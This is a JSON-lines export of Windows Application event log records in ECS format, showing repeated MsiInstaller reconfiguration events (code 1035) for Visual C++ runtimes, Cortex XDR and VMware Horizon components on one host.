{"@timestamp":1657397110452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170671}}
{"@timestamp":1657397110488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170672}}
{"@timestamp":1657397110516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170673}}
{"@timestamp":1657397170305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170674}}
{"@timestamp":1657397170333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170675}}
{"@timestamp":1657397170382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170676}}
{"@timestamp":1657397170422,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170677}}
{"@timestamp":1657397170451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170678}}
{"@timestamp":1657397170483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170679}}
{"@timestamp":1657397170510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170680}}
{"@timestamp":1657397170537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170681}}
{"@timestamp":1657397170574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170682}}
{"@timestamp":1657397170601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170683}}
{"@timestamp":1657397230262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170684}}
{"@timestamp":1657397230289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170685}}
{"@timestamp":1657397230339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170686}}
{"@timestamp":1657397230378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170687}}
{"@timestamp":1657397230407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170688}}
{"@timestamp":1657397230438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170689}}
{"@timestamp":1657397230465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170690}}
{"@timestamp":1657397230491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170691}}
{"@timestamp":1657397230526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170692}}
{"@timestamp":1657397230552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170693}}
{"@timestamp":1657397290089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170694}}
{"@timestamp":1657397290116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170695}}
{"@timestamp":1657397290168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170696}}
{"@timestamp":1657397290207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170697}}
{"@timestamp":1657397290235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170698}}
{"@timestamp":1657397290266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170699}}
{"@timestamp":1657397290293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170700}}
{"@timestamp":1657397290318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170701}}
{"@timestamp":1657397290355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170702}}
{"@timestamp":1657397290383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170703}}
{"@timestamp":1657397350317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170704}}
{"@timestamp":1657397350344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170705}}
{"@timestamp":1657397350395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170706}}
{"@timestamp":1657397350435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170707}}
{"@timestamp":1657397350463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170708}}
{"@timestamp":1657397350494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170709}}
{"@timestamp":1657397350521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170710}}
{"@timestamp":1657397350548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170711}}
{"@timestamp":1657397350584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170712}}
{"@timestamp":1657397350611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170713}}
{"@timestamp":1657397410155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170714}}
{"@timestamp":1657397410182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170715}}
{"@timestamp":1657397410231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170716}}
{"@timestamp":1657397410271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170717}}
{"@timestamp":1657397410298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170718}}
{"@timestamp":1657397410328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170719}}
{"@timestamp":1657397410354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170720}}
{"@timestamp":1657397410380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170721}}
{"@timestamp":1657397410417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170722}}
{"@timestamp":1657397410446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170723}}
{"@timestamp":1657397470436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170724}}
{"@timestamp":1657397470464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170725}}
{"@timestamp":1657397470516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170726}}
{"@timestamp":1657397470555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170727}}
{"@timestamp":1657397470584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170728}}
{"@timestamp":1657397470615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170729}}
{"@timestamp":1657397470644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170730}}
{"@timestamp":1657397470672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170731}}
{"@timestamp":1657397470710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170732}}
{"@timestamp":1657397470739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170733}}
{"@timestamp":1657397530362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170734}}
{"@timestamp":1657397530389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170735}}
{"@timestamp":1657397530440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170736}}
